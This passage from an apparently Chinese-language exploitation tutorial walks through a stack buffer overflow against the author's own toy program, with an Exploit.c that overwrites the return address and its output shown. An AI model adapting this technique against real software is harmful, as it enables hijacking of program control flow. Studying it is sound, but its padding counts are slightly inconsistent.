对错误,漏洞和exploits的说明(5)
is 0x%。8X ",&exploitfunction);
}
else
printf("Please provide the program with at least 1 commandline argument. ");
ExitProcess(0);
}
我已经创建了3个函数,一个是主函数,其他2个分别是:在正常情况下执行的normalfunction,以及利用函数exploitfunction。程序的目的是溢出缓冲区以至于返回地址将指向替换了normalfunction后面下一条指令的exploitfunction函数。
现在我们需要指出文本字符串要多大才能完全覆盖栈中的返回地址。有这个作为目标,就好办了!我们每次增加一个字符直到程序崩溃。
当我在Windows系统上使用Dev-cpp编译完程序以后,我知道了在程序崩溃之前最多需要27个A。
exploitfunction函数的地址以16进制形式表示,并且字节值经常表现出:地址是不可打印的字符。我写了一个小程序,它将给这个易受攻击的程序提供必要的字符串以利用它。
在我的环境中,exploitfunction函数的地址(从易受攻击的程序内部我方便地打印得到)是0x00401290。因为栈在Intel x86系统上是以逆序存储所有数据的(这篇文档中那不会被说明),我们需要准备一个相同的字符串。因此可能的值类似于
0x41414141414141414141414141414141414141414141414141414141901240.
你可以看到,这里的字符'A'(0x41)我使用的是16进制的表现形式,那是存储在栈中的真实值。结果就是,exploit非常简单:
Exploit.c:
Copy code
#include "stdio.h"
main()
{
char workbuffer[200];
char tempbuf[4];
strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
tempbuf[0]=0x90;
tempbuf[1]=0x12;
tempbuf[2]=0x40;
tempbuf[3]=0;
strcat (workbuffer,tempbuf);
system(workbuffer);
return 0;
}
这段程序所做的就是复制字符串"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"到一个缓冲区中,并用新的返回地址创建另一个缓冲区,附加在工作缓冲区之上。
在那之后,程序调用system()来执行字符串中的命令。输出结果是:
C:>exploit.exe
This line will be printed after successfully exploiting the buffer overflow.
Press any key to continue……
太棒了,它执行了!
难道那不伟大吗?
虽然我们实际上并没有成功让程序运行我们自己的代码,但经过一些小小的改变就能完成。
关于缓冲区溢出的更多相关信息请参考Aleph One写的著名文章"Smashing the stack for fun and profit"
内容版权声明:除非注明,否则皆为本站原创文章。